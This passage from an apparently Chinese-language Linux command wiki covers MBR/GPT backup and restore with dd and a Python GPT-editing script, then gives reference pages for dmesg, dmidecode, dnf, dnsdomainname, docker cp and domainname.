        ans = fd.read(512)
        fd.close()
        for i, c in enumerate(ans):
            print "%02X"% ord(c),
            if (i+1) % 16 == 0:
                print "\n",
            elif (i+1) % 8 == 0:
                print "    ",
            elif (i+1) % 4 == 0:
                print "  ",
            elif (i+1) % 2 == 0:
                print " ",

        return ans

def write(img ='./mbr.img',mbr=read()):
        fd = open(img , 'wb')
        fd.write(mbr)
        fd.close()

def main():
        write()

main()
```


```bash
[root@hs02 ~]# ll *.img
-rw-r--r--. 1 root root 512 Sep  1 11:23 ddmbr.img
-rw-r--r--. 1 root root 512 Sep  1 11:14 pymbr.img

[root@hs02 ~]# md5sum *.img
893e54b50a0443e1d7ee315a32f4e692  ddmbr.img
893e54b50a0443e1d7ee315a32f4e692  pymbr.img
```
* dd:<pre>
根据以上对磁盘分区的理解,对于GPT格式的磁盘,备份及恢复可以采用以下方式(未完全验证)
</pre>
*# 备份分区表信息<pre>
sudo fdisk -l >hda.txt  #分区表信息重定向输出到文件中
parted  p
</pre>
*# 备份分区表
*#* 备份Protective MBR<pre>
linux#dd if=/dev/sda of=gpt-mbr bs=512 count=1  #输入文件/dev/sda, 输出文件mbr(自己定义),输入(出)块大小512字节,复制一次,由于mbr是512个字节,所以读取写到mbr文件中了
1+0 records in
1+0 records out
512 bytes (512 B) copied,4.0728e-05 秒,12.6 MB/秒
</pre>
*#* 备份完整的GPT分区表(含Protective MBR, GPT头,以及分区表)<pre>
linux#dd if=/dev/sda of=gpt-partition bs=512 count=34  
</pre>
*#* 仅备份GPT头和GPT分区<pre>
linux#dd if=/dev/sda of=gpt-partition bs=512 skip=1 count=33  
</pre>

*#恢复分区表
    *#*恢复Protective MBR的分区信息<pre>

```bash
#dd if=gpt-mbr of=/dev/sda bs=1 skip=446 count=66  #输入文件mbr,输出 /dev/sda ,块大小1个
```
字节,输入跳过446字节,恢复66个字节,看来恢复的只有66个字节
如果逻辑分区都没有了,则用fdisk 照着hda.txt的信息重分一下就行了。
</pre>
   *#* 恢复完整的Protective MBR<pre>
 
(在Mac OSX中对磁盘进行抹盘操作后(通常会创建一个128M的无数据区,或者一个Recovery HD区),非常容易将磁盘修改为混合磁盘模式,后续的Windows系统将无法正确识别磁盘,导致系统无法启动)

```bash
#dd if=gpt-mbr of=/dev/sda bs=512 count=1
```
</pre>
   *#* 恢复完整的GPT分区表信息<pre>
#dd if=gpt--partition of=/dev/sda bs=512 count=34
</pre>
   *#* 恢复单独的GPT分区信息(感觉意义不大)<pre>
#dd if=gpt-partition of=/dev/sda bs=512 skip=1 seek=1 count=33 (跳过备份表的一个bs, 再跳过sda的第一个bs然后再恢复数据)
</pre>

* python gpt_surgeon.py<pre>

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys, os, struct, binascii, uuid

def readStruct(stream, fmt):
    length = struct.calcsize(fmt)
    data = stream.read(length)
    if len(data) == length:
        return struct.unpack(fmt, data)
    else:
        return None

def readStruct1(stream, fmt):
    fields = readStruct(stream, fmt)
    if fields and len(fields) == 1:
        return fields[0]
    else:
        return None

def writeStruct(stream, fmt, *fields):
    stream.write(struct.pack(fmt, *fields))

blockSize = 512 # bytes

efiHeaderExpectedSize = 92 # bytes
efiHeaderFmt = '<8s4sII4xQQQQ16sQIII'
efiSignature = "EFI PART"
efiExpectedVersion = "\x00\x00\x01\x00"

efiEntryExpectedSize = 128 # bytes
efiEntryFmt = '<16s16sQQQ72s'

def crc32(bytes):
    return binascii.crc32(bytes) & 0xffffffff

class EFIPartitionTable(object):
    def __init__(self, disk):
        rawHeader = disk.read(efiHeaderExpectedSize)
        sig, version, \
            headerSize, headerCRC, \
            self.currentLBA, self.backupLBA, \
            self.firstUsableLBA, self.lastUsableLBA, \
            diskUUID, \
            self.partitionTableStartLBA, \
            self.partitionTableEntryCount, self.partitionTableEntrySize, \
            self.partitionTableCRC = struct.unpack(efiHeaderFmt, rawHeader)
        self.diskUUID = uuid.UUID(bytes_le=diskUUID)
        # sanity checks
        assert sig == efiSignature
        assert version == efiExpectedVersion
        assert len(rawHeader) == efiHeaderExpectedSize
        assert headerSize == efiHeaderExpectedSize
        assert self.lastUsableLBA >= self.firstUsableLBA
        assert self.currentLBA != self.backupLBA
        assert self.partitionTableStartLBA >= 2
        # corruption check
        headerForCRC = rawHeader[:16] + struct.pack('<I', 0) + rawHeader[20:]
        assert crc32(headerForCRC) == headerCRC
        
        disk.seek(blockSize * self.partitionTableStartLBA)
        rawTable = disk.read(self.partitionTableEntryCount * self.partitionTableEntrySize)
        # corruption check
        assert crc32(rawTable) == self.partitionTableCRC
        
        self.partitionTable = []
        for idx in xrange(self.partitionTableEntryCount):
            self.partitionTable.append(EFIPartitionEntry(
                rawTable[idx * self.partitionTableEntrySize:(idx + 1) * self.partitionTableEntrySize]))
    
    def pack(self, tableCRC):
        rawHeader = struct.pack(efiHeaderFmt,
            efiSignature, efiExpectedVersion, \
            efiHeaderExpectedSize, 0, \
            self.currentLBA, self.backupLBA, \
            self.firstUsableLBA, self.lastUsableLBA, \
            self.diskUUID.bytes_le, \
            self.partitionTableStartLBA, \
            self.partitionTableEntryCount, self.partitionTableEntrySize, \
            tableCRC)
        headerCRC = crc32(rawHeader)
        rawHeader = rawHeader[:16] + struct.pack('<I', headerCRC) + rawHeader[20:]
        return rawHeader

unusedUUID = uuid.UUID("00000000-0000-0000-0000-000000000000")
hfsPlusUUID = uuid.UUID("48465300-0000-11AA-AA11-00306543ECAC")

knownUUIDs = {
    uuid.UUID("00000000-0000-0000-0000-000000000000"):"Unused",
    uuid.UUID("024DEE41-33E7-11D3-9D69-0008C781F39F"):"MBR Scheme",
    uuid.UUID("C12A7328-F81F-11D2-BA4B-00A0C93EC93B"):"EFI System",
    uuid.UUID("21686148-6449-6E6F-744E-656564454649"):"BIOS Boot",

    uuid.UUID("E3C9E316-0B5C-4DB8-817D-F92DF00215AE"):"Microsoft Reserved",
    uuid.UUID("EBD0A0A2-B9E5-4433-87C0-68B6B72699C7"):"Microsoft Basic Data",
    uuid.UUID("5808C8AA-7E8F-42E0-85D2-E1E90434CFB3"):"Microsoft Logical Disk Manager metadata",
    uuid.UUID("AF9B60A0-1431-4F62-BC68-3311714A69AD"):"Microsoft Logical Disk Manager data",

    uuid.UUID("48465300-0000-11AA-AA11-00306543ECAC"):"Apple HFS+",
    uuid.UUID("55465300-0000-11AA-AA11-00306543ECAC"):"Apple UFS",
    uuid.UUID("52414944-0000-11AA-AA11-00306543ECAC"):"Apple RAID",
    uuid.UUID("52414944-5F4F-11AA-AA11-00306543ECAC"):"Apple RAID (offline)",
    uuid.UUID("426F6F74-0000-11AA-AA11-00306543ECAC"):"Apple Boot",
    uuid.UUID("4C616265-6C00-11AA-AA11-00306543ECAC"):"Apple Label",
    uuid.UUID("5265636F-7665-11AA-AA11-00306543ECAC"):"Apple TV Recovery",
    uuid.UUID("6A898CC3-1DD2-11B2-99A6-080020736631"):"Apple ZFS",
}

class EFIPartitionEntry(object):
    def __init__(self, bytes):
        partitionType, partitionUUID, \
            self.firstLBA, self.lastLBA, \
            self.flags, \
            name = struct.unpack(efiEntryFmt, bytes)
        self.partitionType = uuid.UUID(bytes_le=partitionType)
        self.partitionUUID = uuid.UUID(bytes_le=partitionUUID)
        name = name.decode('utf-16le')
        term = name.find('\x00')
        if term >= 0:
            name = name[:term]
        self.name = name
    
    def pack(self):
        rawEntry = struct.pack(efiEntryFmt, \
            self.partitionType.bytes_le, self.partitionUUID.bytes_le, \
            self.firstLBA, self.lastLBA, \
            self.flags, \
            self.name.encode('utf-16le'))
        return rawEntry

def readMBRAndGPT(diskDevice):
    disk = open(diskDevice, 'rb')
    mbr = disk.read(blockSize)
    gpt = EFIPartitionTable(disk)
    disk.close()
    print "Read MBR and GPT from %s." % diskDevice
    return (mbr, gpt)

def listGPT(diskDevice):
    _, gpt = readMBRAndGPT(diskDevice)
    for i in xrange(gpt.partitionTableEntryCount):
        entry = gpt.partitionTable[i]
        if entry.partitionType == unusedUUID: continue
        print "partition %d:" % i
        print "     type: %s" % knownUUIDs.get(entry.partitionType, "<unknown partition type>")
        print "     name: %r" % entry.name
        print "    flags: 0x%08x" % entry.flags

def fixGPTPartitionType(diskDevice, selectedPartition):
    mbr, gpt = readMBRAndGPT(diskDevice)
    gpt.partitionTable[selectedPartition].partitionType = hfsPlusUUID
    print "Changing type of partition #%d on %s to HFS+..." % (selectedPartition, diskDevice)
    disk = open(diskDevice, 'wb')
    print "    Opened %s for writing." % diskDevice
    disk.write(mbr)
    print "    Wrote MBR."
    table = ""
    for i in xrange(gpt.partitionTableEntryCount):
        entry = gpt.partitionTable[i]
        table = table + entry.pack()
    header = gpt.pack(crc32(table))
    disk.write(header)
    print "    Wrote GPT header."
    disk.write("\x00" * (blockSize - len(header)))
    disk.write(table)
    print "    Wrote GPT entries."
    disk.close()
    print "    Closed %s." % diskDevice
    print "Done."

usage = """
usage:

%(progName)s list </dev/diskN>
    Show GPT entries for a disk.
    
%(progName)s repair </dev/diskN> <partition number>
    Change the type of the selected partition on the selected disk to HFS+.
    The partition numbers start at 0, as in the list command.
"""[1:]

def exitToUsage(msg):
    progName = sys.argv[0]
    print
    print msg
    print
    print usage % {'progName':progName}
    exit(1)

def main():
    argc = len(sys.argv)
    if argc < 2:
        exitToUsage("No command given!")
    cmd = sys.argv[1]
    if cmd == 'list':
        if argc < 3:
            exitToUsage("Too few arguments for list command!")
        if argc > 3:
            exitToUsage("Too many arguments for list command!")
        diskDevice = sys.argv[2]
        print
        listGPT(diskDevice)
    elif cmd == 'repair':
        if argc < 4:
            exitToUsage("Too few arguments for repair command!")
        if argc > 4:
            exitToUsage("Too many arguments for repair command!")
        diskDevice = sys.argv[2]
        selectedPartition = int(sys.argv[3])
        print
        fixGPTPartitionType(diskDevice, selectedPartition)
    else:
        exitToUsage("Unsupported command!")

if __name__ == '__main__':
    main()


```
</pre>
! 01.描述
:<div>
dmesg命令被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在`/var/log/dmesg`文件里。
</div>


!02. 选项 
:<div>

```
-c:显示信息后,清除ring buffer中的内容;
-s<缓冲区大小>:预设置为8196,刚好等于ring buffer的大小;
-n:设置记录信息的层级。
```
</div>
''dmidecode''命令可以让你在Linux系统下获取有关硬件方面的信息。dmidecode的作用是将DMI数据库中的信息解码,以可读的文本方式显示。由于DMI信息可以人为修改,因此里面的信息不一定是系统准确的信息。dmidecode遵循SMBIOS/DMI标准,其输出的信息包括BIOS、系统、主板、处理器、内存、缓存等等。

DMI(Desktop Management Interface,DMI)就是帮助收集电脑系统信息的管理系统,DMI信息的收集必须在严格遵照SMBIOS规范的前提下进行。SMBIOS(System Management BIOS)是主板或系统制造者以标准格式显示产品管理信息所需遵循的统一规范。SMBIOS和DMI是由行业指导机构Desktop Management Task Force(DMTF)起草的开放性的技术标准,其中DMI设计适用于任何的平台和操作系统。

DMI充当了管理工具和系统层之间接口的角色。它建立了标准的可管理系统更加方便了电脑厂商和用户对系统的了解。DMI的主要组成部分是Management Information Format(MIF)数据库。这个数据库包括了所有有关电脑系统和配件的信息。通过DMI,用户可以获取序列号、电脑厂商、串口信息以及其它系统配件信息。


!选项
    * -d:(default:/dev/mem)从设备文件读取信息,输出内容与不加参数标准输出相同。
    * -h:显示帮助信息。
    * -s:只显示指定DMI字符串的信息。(string)
    * -t:只显示指定条目的信息。(type)
    * -u:显示未解码的原始条目内容。
    * --dump-bin file:将DMI数据转储到一个二进制文件中。
    * --from-dump FILE:从一个二进制文件读取DMI数据。
    * -V:显示版本信息。
    
!dmidecode参数string及type列表:

    !!Valid string keywords are:

        * bios-vendor
        * bios-version
        * bios-release-date
        * system-manufacturer
        * system-product-name
        * system-version
        * system-serial-number
        * system-uuid
        * baseboard-manufacturer
        * baseboard-product-name
        * baseboard-version
        * baseboard-serial-number
        * baseboard-asset-tag
        * chassis-manufacturer
        * chassis-type
        * chassis-version
        * chassis-serial-number
        * chassis-asset-tag
        * processor-family
        * processor-manufacturer
        * processor-version
        * processor-frequency

    !!Valid type keywords are:

        * bios
        * system
        * baseboard
        * chassis
        * processor
        * memory
        * Cache
        * connector
        * slot
    !!type全部编码列表:

        * BIOS
        * System
        * Base Board
        * Chassis
        * Processor
        * Memory Controller
        * Memory Module
        * Cache
        * Port Connector
        * System Slots
        * On Board Devices
        * OEM Strings
        * System Configuration Options
        * BIOS Language
        * Group Associations
        * System Event Log
        * Physical Memory Array
        * Memory Device
        * 32-bit Memory Error
        * Memory Array Mapped Address
        * Memory Device Mapped Address
        * Built-in Pointing Device
        * Portable Battery
        * System Reset
        * Hardware Security
        * System Power Controls
        * Voltage Probe
        * Cooling Device
        * Temperature Probe
        * Electrical Current Probe
        * Out-of-band Remote Access
        * Boot Integrity Services
        * System Boot
        * 64-bit Memory Error
        * Management Device
        * Management Device Component
        * Management Device Threshold Data
        * Memory Channel
        * IPMI Device
        * Power Supply
        * Additional Information
        * Onboard Device


!实例
<pre>
查看服务器型号:dmidecode | grep 'Product Name'
查看主板的序列号:dmidecode |grep 'Serial Number'
查看系统序列号:dmidecode -s system-serial-number
查看内存信息:dmidecode -t memory
查看OEM信息:dmidecode -t 11

</pre>
!!简介
:<div>
dmidecode
===

在Linux系统下获取有关硬件方面的信息

</div>

!! 补充说明

:<div>


"dmidecode命令" 可以让你在Linux系统下获取有关硬件方面的信息。dmidecode的作用是将DMI数据库中的信息解码,以可读的文本方式显示。由于DMI信息可以人为修改,因此里面的信息不一定是系统准确的信息。dmidecode遵循SMBIOS/DMI标准,其输出的信息包括BIOS、系统、主板、处理器、内存、缓存等等。

DMI(Desktop Management Interface,DMI)就是帮助收集电脑系统信息的管理系统,DMI信息的收集必须在严格遵照SMBIOS规范的前提下进行。SMBIOS(System Management BIOS)是主板或系统制造者以标准格式显示产品管理信息所需遵循的统一规范。SMBIOS和DMI是由行业指导机构Desktop Management Task Force(DMTF)起草的开放性的技术标准,其中DMI设计适用于任何的平台和操作系统。

DMI充当了管理工具和系统层之间接口的角色。它建立了标准的可管理系统更加方便了电脑厂商和用户对系统的了解。DMI的主要组成部分是Management Information Format(MIF)数据库。这个数据库包括了所有有关电脑系统和配件的信息。通过DMI,用户可以获取序列号、电脑厂商、串口信息以及其它系统配件信息。

</div>

!! 语法  

:<div>


```
dmidecode [选项]
```

</div>

!! 选项  

:<div>


```
-d:(default:/dev/mem)从设备文件读取信息,输出内容与不加参数标准输出相同。
-h:显示帮助信息。
-s:只显示指定DMI字符串的信息。(string)
-t:只显示指定条目的信息。(type)
-u:显示未解码的原始条目内容。
--dump-bin file:将DMI数据转储到一个二进制文件中。
--from-dump FILE:从一个二进制文件读取DMI数据。
-V:显示版本信息。
```

 "dmidecode参数string及type列表:" 

(1)Valid string keywords are:

*   bios-vendor
*   bios-version
*   bios-release-date
*   system-manufacturer
*   system-product-name
*   system-version
*   system-serial-number
*   system-uuid
*   baseboard-manufacturer
*   baseboard-product-name
*   baseboard-version
*   baseboard-serial-number
*   baseboard-asset-tag
*   chassis-manufacturer
*   chassis-type
*   chassis-version
*   chassis-serial-number
*   chassis-asset-tag
*   processor-family
*   processor-manufacturer
*   processor-version
*   processor-frequency

(2)Valid type keywords are:

*   bios
*   system
*   baseboard
*   chassis
*   processor
*   memory
*   Cache
*   connector
*   slot

(3)type全部编码列表:

*   BIOS
*   System
*   Base Board
*   Chassis
*   Processor
*   Memory Controller
*   Memory Module
*   Cache
*   Port Connector
*   System Slots
*   On Board Devices
*   OEM Strings
*   System Configuration Options
*   BIOS Language
*   Group Associations
*   System Event Log
*   Physical Memory Array
*   Memory Device
*   32-bit Memory Error
*   Memory Array Mapped Address
*   Memory Device Mapped Address
*   Built-in Pointing Device
*   Portable Battery
*   System Reset
*   Hardware Security
*   System Power Controls
*   Voltage Probe
*   Cooling Device
*   Temperature Probe
*   Electrical Current Probe
*   Out-of-band Remote Access
*   Boot Integrity Services
*   System Boot
*   64-bit Memory Error
*   Management Device
*   Management Device Component
*   Management Device Threshold Data
*   Memory Channel
*   IPMI Device
*   Power Supply
*   Additional Information
*   Onboard Device

</div>

!! 实例  

:<div>


```bash
dmidecode -t 1  # 查看服务器信息
dmidecode | grep 'Product Name' # 查看服务器型号 
dmidecode |grep 'Serial Number' # 查看主板的序列号 
dmidecode -t 2  # 查看主板信息
dmidecode -s system-serial-number # 查看系统序列号 
dmidecode -t memory # 查看内存信息 
dmidecode -t 11 # 查看OEM信息 
dmidecode -t 17 # 查看内存条数
dmidecode -t 16 # 查询内存信息
dmidecode -t 4  # 查看CPU信息

cat /proc/scsi/scsi # 查看服务器硬盘信息
```

不带选项执行dmidecode命令通常会输出所有的硬件信息。dmidecode命令有个很有用的选项-t,可以按指定类型输出相关信息,假如要获得处理器方面的信息,则可以执行:

```
[root@localhost ~]# dmidecode -t processor
# dmidecode 2.11
SMBIOS 2.5 present.

Handle 0x0001, DMI type 4, 40 bytes
Processor Information
        Socket Designation: Node 1 Socket 1
        Type: Central Processor
        Family: Xeon MP
        Manufacturer: Intel(R) Corporation
        id: C2 06 02 00 FF FB EB BF
        Signature: Type 0, Family 6, Model 44, Stepping 2
        Flags:
                FPU (Floating-point unit on-chip)
                VME (Virtual mode extension)
                DE (Debugging extension)
                PSE (Page size extension)
                TSC (time stamp counter)
                MSR (Model specific registers)
                PAE (Physical address extension)
                MCE (Machine check exception)
                CX8 (CMPXCHG8 instruction supported)
                APIC (On-chip APIC hardware supported)
                SEP (Fast system call)
                MTRR (Memory type range registers)
                PGE (Page global enable)
                MCA (Machine check architecture)
                CMOV (Conditional move instruction supported)
                PAT (Page attribute table)
                PSE-36 (36-bit page size extension)
                CLFSH (CLFLUSH instruction supported)
                DS (Debug store)
                ACPI (ACPI supported)
                MMX (MMX technology supported)
                FXSR (FXSAVE and FXSTOR instructions supported)
                SSE (Streaming SIMD extensions)
                SSE2 (Streaming SIMD extensions 2)
                ss (Self-snoop)
                HTT (Multi-threading)
                TM (Thermal monitor supported)
                PBE (Pending break enabled)
        Version: Intel(R) Xeon(R) CPU           E5620  @ 2.40GHz
        Voltage: 1.2 V
        External Clock: 5866 MHz
        Max Speed: 4400 MHz
        Current Speed: 2400 MHz
        Status: Populated, Enabled
        Upgrade: ZIF Socket
        L1 Cache Handle: 0x0002
        L2 Cache Handle: 0x0003
        L3 Cache Handle: 0x0004
        Serial Number: Not Specified
        Asset Tag: Not Specified
        Part Number: Not Specified
        Core Count: 4
        Core Enabled: 4
        Thread Count: 8
        Characteristics:
                64-bit capable

Handle 0x0055, DMI type 4, 40 bytes
Processor Information
        Socket Designation: Node 1 Socket 2
        Type: Central Processor
        Family: Xeon MP
        Manufacturer: Not Specified
        ID: 00 00 00 00 00 00 00 00
        Signature: Type 0, Family 0, Model 0, Stepping 0
        Flags: None
        Version: Not Specified
        Voltage: 1.2 V
        External Clock: 5866 MHz
        Max Speed: 4400 MHz
        Current Speed: Unknown
        Status: Unpopulated
        Upgrade: ZIF Socket
        L1 Cache Handle: Not Provided
        L2 Cache Handle: Not Provided
        L3 Cache Handle: Not Provided
        Serial Number: Not Specified
        Asset Tag: Not Specified
        Part Number: Not Specified
        Characteristics: None
```

查看内存的插槽数,已经使用多少插槽。每条内存多大,已使用内存多大

```bash
dmidecode|grep -P -A5 "Memory\s+Device"|grep Size|grep -v Range 

#   Size: 2048 MB
#   Size: 2048 MB
#   Size: 4096 MB
#   Size: No Module Installed
```

查看内存支持的最大内存容量

```bash
dmidecode|grep -P 'Maximum\s+Capacity'

#  Maximum Capacity: 16 GB

```

查看内存的频率

```bash
dmidecode|grep -A16 "Memory Device"

#   Memory Device
#     Array Handle: 0x1000
#     Error Information Handle: Not Provided
#     Total Width: 72 bits
#     Data Width: 64 bits
#     Size: 2048 MB
#     Form Factor: DIMM
#     Set: 1
#     Locator: DIMM_A1
#     Bank Locator: Not Specified
#     Type: DDR3
#     Type Detail: Synchronous Unbuffered (Unregistered)
#     Speed: 1333 MHz
#     Manufacturer: 00CE000080CE
#     Serial Number: 4830F3E1
#     Asset Tag: 01093200
#     Part Number: M391B5673EH1-CH9
#   --
#   Memory Device
#     Array Handle: 0x1000
#     Error Information Handle: Not Provided
#     Total Width: 72 bits
#     Data Width: 64 bits
#     Size: 2048 MB
#     Form Factor: DIMM
#     Set: 1
#     Locator: DIMM_A2
#     Bank Locator: Not Specified
#     Type: DDR3
#     Type Detail: Synchronous Unbuffered (Unregistered)
#     Speed: 1333 MHz
#     Manufacturer: 00AD000080AD
#     Serial Number: 1BA1F0B5
#     Asset Tag: 01110900
#     Part Number: HMT325U7BFR8C-H9
#   --

dmidecode|grep -A16 "Memory Device"|grep 'Speed'

#  Speed: 1333 MHz
#  Speed: 1333 MHz
#  Speed: 1333 MHz
#  Speed: Unknown

```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dnf
===

新一代的RPM软件包管理器

</div>

!! 补充说明

:<div>


"DNF" 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器。

DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识:《 DNF 代替 YUM ,你所不知道的缘由》

DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的额 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2.

</div>

!! 安装 DNF 包管理器  

:<div>


DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经默认使用 DNF .

1、为了安装 DNF ,您必须先安装并启用 epel-release 依赖。

在系统中执行以下命令:

```
# yum install epel-release
```

或者

```
# yum install epel-release -y
```

其实这里并没有强制使用”-y”的理由,相反的,在不使用”-y”的情况下,用户可以在安装过程中查看到底有哪些东西被安装进了系统。但对于没有这个需求的用户,您可以在 YUM 中使用”-y”参数来自动安装所有东西。

2、使用 epel-release 依赖中的 YUM 命令来安装 DNF 包。在系统中执行以下命令:

```
# yum install dnf
```

然后, DNF 包管理器就被成功的安装到你的系统中了。接下来,是时候开始我们的教程了!在这个教程中,您将会学到27个用于 DNF 包管理器的命令。使用这些命令,你可以方便有效的管理您系统中的 RPM 软件包。现在,让我们开始学习 DNF 包管理器的27条常用命令吧!

 "查看 DNF 包管理器版本" 

用处:该命令用于查看安装在您系统中的 DNF 包管理器的版本

```
# dnf –version
```

!Check-DNF-Version

 "查看系统中可用的 DNF 软件库" 

用处:该命令用于显示系统中可用的 DNF 软件库

```
# dnf repolist
```

!Check-All-Enabled-Repositories

 "查看系统中可用和不可用的所有的 DNF 软件库" 

用处:该命令用于显示系统中可用和不可用的所有的 DNF 软件库

```
# dnf repolist all
```

!3

 "列出所有 RPM 包" 

用处:该命令用于列出用户系统上的所有来自软件库的可用软件包和所有已经安装在系统上的软件包

```
# dnf list
```

!4

 "列出所有安装了的 RPM 包" 

用处:该命令用于列出所有安装了的 RPM 包

```
# dnf list installed
```

!5

 "列出所有可供安装的 RPM 包" 

用处:该命令用于列出来自所有可用软件库的可供安装的软件包

```
# dnf list available
```

!6

 "搜索软件库中的 RPM 包" 

用处:当你不知道你想要安装的软件的准确名称时,你可以用该命令来搜索软件包。你需要在”search”参数后面键入软件的部分名称来搜索。(在本例中我们使用”nano”)

```
# dnf search nano
```

!7

 "查找某一文件的提供者" 

用处:当你想要查看是哪个软件包提供了系统中的某一文件时,你可以使用这条命令。(在本例中,我们将查找”/bin/bash”这个文件的提供者)

```
# dnf provides /bin/bash
```

!8

 "查看软件包详情" 

用处:当你想在安装某一个软件包之前查看它的详细信息时,这条命令可以帮到你。(在本例中,我们将查看”nano”这一软件包的详细信息)

```
# dnf info nano
```

!9

 "安装软件包" 

用处:使用该命令,系统将会自动安装对应的软件及其所需的所有依赖(在本例中,我们将用该命令安装nano软件)

```
# dnf install nano
```

!10

 "升级软件包" 

用处:该命令用于升级制定软件包(在本例中,我们将用命令升级”systemd”这一软件包)

```
# dnf update systemd
```

!11

 "检查系统软件包的更新" 

用处:该命令用于检查系统中所有软件包的更新

```
# dnf check-update
```

!12

 "升级所有系统软件包" 

用处:该命令用于升级系统中所有有可用升级的软件包

```
# dnf update 或 # dnf upgrade
```

!13

 "删除软件包" 

用处:删除系统中指定的软件包(在本例中我们将使用命令删除”nano”这一软件包)

```
# dnf remove nano 或 # dnf erase nano
```

!14

 "删除无用孤立的软件包" 

用处:当没有软件再依赖它们时,某一些用于解决特定软件依赖的软件包将会变得没有存在的意义,该命令就是用来自动移除这些没用的孤立软件包。

```
# dnf autoremove
```

!15

 "删除缓存的无用软件包" 

用处:在使用 DNF 的过程中,会因为各种原因在系统中残留各种过时的文件和未完成的编译工程。我们可以使用该命令来删除这些没用的垃圾文件。

```
# dnf clean all
```

!16

 "获取有关某条命令的使用帮助" 

用处:该命令用于获取有关某条命令的使用帮助(包括可用于该命令的参数和该命令的用途说明)(本例中我们将使用命令获取有关命令”clean”的使用帮助)

```
# dnf help clean
```

!17

 "查看所有的 DNF 命令及其用途" 

用处:该命令用于列出所有的 DNF 命令及其用途

```
# dnf help
```

!18

 "查看 DNF 命令的执行历史" 

用处:您可以使用该命令来查看您系统上 DNF 命令的执行历史。通过这个手段您可以知道在自您使用 DNF 开始有什么软件被安装和卸载。

```
# dnf history
```

!19

 "查看所有的软件包组" 

用处:该命令用于列出所有的软件包组

```
# dnf grouplist
```

!20

 "安装一个软件包组" 

用处:该命令用于安装一个软件包组(本例中,我们将用命令安装”Educational Software”这个软件包组)

```
# dnf groupinstall ‘Educational Software’
```

!21

 "升级一个软件包组中的软件包" 

用处:该命令用于升级一个软件包组中的软件包(本例中,我们将用命令升级”Educational Software”这个软件包组中的软件)

```
# dnf groupupdate ‘Educational Software’
```

!22

 "删除一个软件包组" 

用处:该命令用于删除一个软件包组(本例中,我们将用命令删除”Educational Software”这个软件包组)

```
# dnf groupremove ‘Educational Software’
```

!23

 "从特定的软件包库安装特定的软件" 

用处:该命令用于从特定的软件包库安装特定的软件(本例中我们将使用命令从软件包库 epel 中安装 phpmyadmin 软件包)

```
# dnf –enablerepo=epel install phpmyadmin
```

 "更新软件包到最新的稳定发行版" 

用处:该命令可以通过所有可用的软件源将已经安装的所有软件包更新到最新的稳定发行版

```
# dnf distro-sync
```

 "重新安装特定软件包" 

用处:该命令用于重新安装特定软件包(本例中,我们将使用命令重新安装”nano”这个软件包)

```
# dnf reinstall nano
```

!26

 "回滚某个特定软件的版本" 

用处:该命令用于降低特定软件包的版本(如果可能的话)(本例中,我们将使用命令降低”acpid”这个软件包的版本)

```
# dnf downgrade acpid
```

样例输出:

```
Using metadata from Wed May 20 12:44:59 2015
No match for available package: acpid-2.0.19-5.el7.x86_64
Error: Nothing to do.
```

原作者注:在执行这条命令的时候, DNF 并没有按照我期望的那样降级指定的软件(“acpid”)。该问题已经上报。

</div>

!! 总结  

:<div>


DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成更多的操作。但在我看来,正因如此,所以 DNF 包管理器不会太受那些经验老道的 Linux 系统管理者的欢迎。举例如下:

1.  在 DNF 中没有 –skip-broken 命令,并且没有替代命令供选择。
2.  在 DNF 中没有判断哪个包提供了指定依赖的 resolvedep 命令。
3.  在 DNF 中没有用来列出某个软件依赖包的 deplist 命令。
4.  当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dnsdomainname
===

定义DNS系统中FQDN名称的域名

</div>

!! 补充说明

:<div>


"dnsdomainname命令" 用于定义DNS系统中FQDN名称中的域名。

</div>

!! 语法  

:<div>


```
dnsdomainname(选项)
```

</div>

!! 选项  

:<div>


-v:详细信息模式,输出指令执行的详细信息。

</div>

!! 实例  

:<div>


```
[root@AY1307311912260196fcZ ~]# dnsdomainname -v
gethostname()=`AY1307311912260196fcZ'
Resolving `AY1307311912260196fcZ' ...
Result: h_name=`AY1307311912260196fcZ'
Result: h_addr_list=`10.160.7.81'
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
#cp

:<pre>

;1. 从容器里面拷文件到宿主机

```bash
docker cp ${docker_name}:${file_path} ${dest_path}
```


;2. 从宿主机拷文件到容器里面

```bash
docker cp ${file_path} ${docker_name}:${dest_path}

```
</pre>

!!简介
:<div>
domainname
===

显示和设置系统的NIS域名

</div>

!! 补充说明

:<div>


"domainname命令" 用于显示和设置系统的NIS域名。

</div>

!! 语法  

:<div>


```
domainname(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-v:详细信息模式;
-F:指定读取域名信息的文件。
```

</div>

!! 参数  

:<div>


NIS域名:指定要设置的NIS域名。

</div>

!! 实例  

:<div>


```
[root@AY1307311912260196fcZ ~]# domainname -v
getdomainname()=`(none)'
(none)
 [root@AY1307311912260196fcZ ~]# domainname
www.jsdig.com

[root@AY1307311912260196fcZ ~]# domainname -v
getdomainname()=`www.jsdig.com'
www.jsdig.com
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dos2unix
===

将DOS格式文本文件转换成Unix格式

</div>

!! 补充说明

:<div>


